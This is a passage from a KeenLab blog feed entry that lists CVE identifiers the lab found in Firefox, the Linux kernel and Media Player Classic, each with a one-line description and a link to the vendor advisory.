href="https://helpx.adobe.com/security/products/flash-player/apsb15-04.html">https://helpx.adobe.com/security/products/flash-player/apsb15-04.html</a></p><h1 id="Mozilla"><a href="#Mozilla" class="headerlink" title="Mozilla"></a>Mozilla</h1><p>CVE-2008-5021<br>Crash and remote code execution in nsFrameManager<br><a href="http://www.mozilla.org/security/announce/2008/mfsa2008-55.html">http://www.mozilla.org/security/announce/2008/mfsa2008-55.html</a></p><p>CVE-2010-0183<br>Firefox Use-after-free error in nsCycleCollector::MarkRoots()<br><a href="http://www.mozilla.org/security/announce/2010/mfsa2010-27.html">http://www.mozilla.org/security/announce/2010/mfsa2010-27.html</a></p><p>CVE-2010-3166<br>Firefox Heap buffer overflow in nsTextFrameUtils::TransformText<br><a href="http://www.mozilla.org/security/announce/2010/mfsa2010-53.html">http://www.mozilla.org/security/announce/2010/mfsa2010-53.html</a></p><p>CVE-2010-3772<br>Firefox Crash and remote code execution using HTML tags inside a XUL tree<br><a href="http://www.mozilla.org/security/announce/2010/mfsa2010-77.html">http://www.mozilla.org/security/announce/2010/mfsa2010-77.html</a></p><p>CVE-2012-0472<br>Firefox Potential memory corruption during font rendering using cairo-dwrite<br><a href="http://www.mozilla.org/security/announce/2012/mfsa2012-25.html">http://www.mozilla.org/security/announce/2012/mfsa2012-25.html</a></p><h1 id="Linux"><a href="#Linux" class="headerlink" title="Linux"></a>Linux</h1><p><font color="red"><strong>CVE-2015-3636 (PingPong Root &#x2F; Pwnie 2015 nomination)</strong></font><br>Use-after-free flaw in the Linux kernel’s ipv4 ping support.<br><a href="http://www.ubuntu.com/usn/usn-2631-1/">http://www.ubuntu.com/usn/usn-2631-1/</a></p><p>CVE-2016-4794<br>Linux Kernel bpf related UAF<br><a href="http://seclists.org/oss-sec/2016/q2/332">http://seclists.org/oss-sec/2016/q2/332</a></p><p>CVE-2015-7292<br>Amazon Fire Phone kernel stack based buffer overflow<br><a href="http://marcograss.github.io/security/android/cve/2016/01/15/cve-2015-7292-amazon-kernel-stack-buffer-overflow.html">http://marcograss.github.io/security/android/cve/2016/01/15/cve-2015-7292-amazon-kernel-stack-buffer-overflow.html</a></p><h1 id="Misc"><a href="#Misc" class="headerlink" title="Misc"></a>Misc</h1><p>CVE-2006-7222<br>Media Player Classic FLI File Processing Buffer Overflow<br><a href="http://www.securityfocus.com/bid/25437">http://www.securityfocus.com/bid/25437</a></p>]]></content>
    
    
    <summary type="html">&lt;h4 id=&quot;Partly-estimated-until-May-2016-KeenLab-has-totally-found-152-critical-vulnerabilities-with-CVE-IDs-ranging-from-mainstream-OS-to-browsers-and-applications&quot;&gt;&lt;a href=&quot;#Partly-estimated-until-May-2016-KeenLab-has-totally-found-152-critical-vulnerabilities-with-CVE-IDs-ranging-from-mainstream-OS-to-browsers-and-applications&quot; class=&quot;headerlink&quot; title=&quot;Partly estimated, until May 2016, KeenLab has totally found 152 critical vulnerabilities with CVE IDs, ranging from mainstream OS to browsers and applications&quot;&gt;&lt;/a&gt;Partly estimated, until May 2016, KeenLab has totally found &lt;font color=&quot;red&quot;&gt;152&lt;/font&gt; critical vulnerabilities with CVE IDs, ranging from mainstream OS to browsers and applications&lt;/h4&gt;</summary>
    
    
    
    
    <category term="KeenLab" scheme="http://keenlab.tencent.com/en/tags/KeenLab/"/>
    
  </entry>
  
</feed>
